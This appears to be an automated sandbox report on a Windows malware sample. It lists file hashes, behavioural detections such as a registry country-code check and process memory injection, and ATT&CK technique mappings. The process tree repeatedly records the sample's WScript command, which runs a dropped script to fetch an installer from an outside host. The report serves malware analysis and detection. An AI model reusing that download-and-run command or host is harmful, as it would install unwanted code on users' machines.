20e02141f0cc078e6f1cb27a958c0ab2acae8b8834c6bb511fc35dd52ad82bd6

General

Target

923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe
Size

184KB
MD5

923d5f9628a687cc99007428b1edae92
SHA1

3a7b2bf49008648fa7a3472b1d46e79c337d8782
SHA256

20e02141f0cc078e6f1cb27a958c0ab2acae8b8834c6bb511fc35dd52ad82bd6
SHA512

917d133d704b8074fbc7218876163067a680cb2d7105c974a1ce0e068ab6d1ef06b52ace56ff12aecb7d39d419597f4fed9ada96ab7de03c7d7749c39103e971
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3w:/7BSH8zUB+nGESaaRvoB7FJNndn5

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
9	4016	WScript.exe
25	2756	WScript.exe
53	4848	WScript.exe
54	4848	WScript.exe
58	3668	WScript.exe
59	3668	WScript.exe
61	4320	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3304 wrote to memory of 4016	3304	923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe	92
PID 3304 wrote to memory of 4016	3304	923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe	92
PID 3304 wrote to memory of 4016	3304	923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe	92
PID 3304 wrote to memory of 2756	3304	923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe	98
PID 3304 wrote to memory of 2756	3304	923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe	98
PID 3304 wrote to memory of 2756	3304	923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe	98
PID 3304 wrote to memory of 4848	3304	923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe	102
PID 3304 wrote to memory of 4848	3304	923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe	102
PID 3304 wrote to memory of 4848	3304	923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe	102
PID 3304 wrote to memory of 3668	3304	923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe	103
PID 3304 wrote to memory of 3668	3304	923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe	103
PID 3304 wrote to memory of 3668	3304	923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe	103
PID 3304 wrote to memory of 4320	3304	923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe	105
PID 3304 wrote to memory of 4320	3304	923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe	105
PID 3304 wrote to memory of 4320	3304	923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe	105

C:\Users\Admin\AppData\Local\Temp\923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\923d5f9628a687cc99007428b1edae92_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3304
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf20E.js" http://www.djapp.info/?domain=HdQNRiKqWy.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf20E.exe
  2⤵
  - Blocklisted process makes network request
  PID:4016
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf20E.js" http://www.djapp.info/?domain=HdQNRiKqWy.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf20E.exe
  2⤵
  - Blocklisted process makes network request
  PID:2756
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf20E.js" http://www.djapp.info/?domain=HdQNRiKqWy.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf20E.exe
  2⤵
  - Blocklisted process makes network request
  PID:4848
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf20E.js" http://www.djapp.info/?domain=HdQNRiKqWy.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf20E.exe
  2⤵
  - Blocklisted process makes network request
  PID:3668
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf20E.js" http://www.djapp.info/?domain=HdQNRiKqWy.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf20E.exe
  2⤵
  - Blocklisted process makes network request
  PID:4320

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1312 --field-trial-handle=3192,i,2785050981002401924,4037047756083432660,262144 --variations-seed-version /prefetch:8
1⤵
PID:2484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf20E.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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